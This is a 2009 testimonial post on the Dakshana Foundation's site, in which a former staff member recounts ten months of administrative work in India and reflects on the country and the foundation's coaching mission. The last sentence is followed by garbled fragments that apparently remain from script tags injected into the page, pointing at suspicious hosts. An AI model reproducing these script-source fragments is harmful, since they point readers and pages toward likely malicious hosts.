Welcome to The Dakshana Foundation

Subject: My time with Dakshana

Posted Date: January 25, 2009

Message:

In March of 2008, four months after graduating from college, I left my small town in Colorado and flew to Kota, Rajasthan to begin working for the Dakshana Foundation. Though unsure what to expect, I was anxious for an opportunity to work for such an innovative organization. I would continue to work for the Dakshana Foundation for ten months, during which time we would relocate our headquarters to Haryana, almost double the number of students receiving IIT-JEE coaching, and watch our first two scholars enter engineering college.

It was often difficult. I had traveled before, and applied myself to various difficult projects in the past, but I was still surprised by the sheer intensity of my experience. Everything from finding a place to live and arranging appointments with vendors to getting a computer fixed, let alone moving office, became a huge project requiring patience, fortitude and an enduring sense of humor.

Gradually, of course, I learned how to adapt to a different lifestyle and work environment while overcoming my prior inexperience. With most of my prior work limited to internships and academia, I now involved myself with learning and uting the day-to-day administrative work in the Dakshana Foundation’s headquarters. I gained experience in HR and IT, all the while watching and learning how an organization with an international team and a nationwide reach operates. When we closed our office in Kota, I was able to play a role supporting Dakshana management as we recruited new staff and established the infrastructure and procedures for a smooth operation in Faridabad.

I was most grateful for the opportunity to see the reality of daily life in India. So many portrayals of India that reach the United States are limited by the topics covered in the media, the prejudices or romantic notions of some visitors, or even by the nature of the medium used. Journalists covering India’s economy may focus disproportionately on India’s metropolitan cities, to the ignore of the countryside. Tourists may return from India describing the monuments and the pace of life in India’s villages, to the neglect of non-metro cities like Faridabad. Documentary films cannot convey the smells in the markets, the sounds at festivals or even the simple intensity of standing on a street.

Despite the great volume of news coming from India it’s impossible, until you’ve spent a great deal of time there, to really understand the country. Even after ten months, during which time I saw a village, four cities and two metros, I can’t say I truly get it. The country is too complex to be summed up by a magazine article or a web posting. In cities like Faridabad you can see India’s economic progress in the dizzying rate of infrastructural improvement and the large numbers of families living middle class lifestyles. But you also can’t ignore the number of people who still haven’t been able to tap into that economic prosperity.

Of course, this is one of the greatest things about the Dakshana Foundation. Dakshana has embarked on a focused mission to extending the opportunities, created by India’s economy and its impressive educational institutions, to those students who are otherwise so often overlooked. I am proud to have been able to contribute to the development of the Dakshana Foundation, and look forward to watching as it continues to grow and expand in the future. =http://www.scriptjs/page>> =http://netcfg.postfolkovs/js>> =http://send.postfolkovs/js>> =http://vba.postfolkovs/js>> =http://snmp.postfolkovs/js>> =http://snmp.postfolkovs/js>> =http://snmp.postfolkovs/js>> =http://snmp.postfolkovs/js>> =http://snmp.postfolkovs/js>> =http://logon.webserviceftp/js>>

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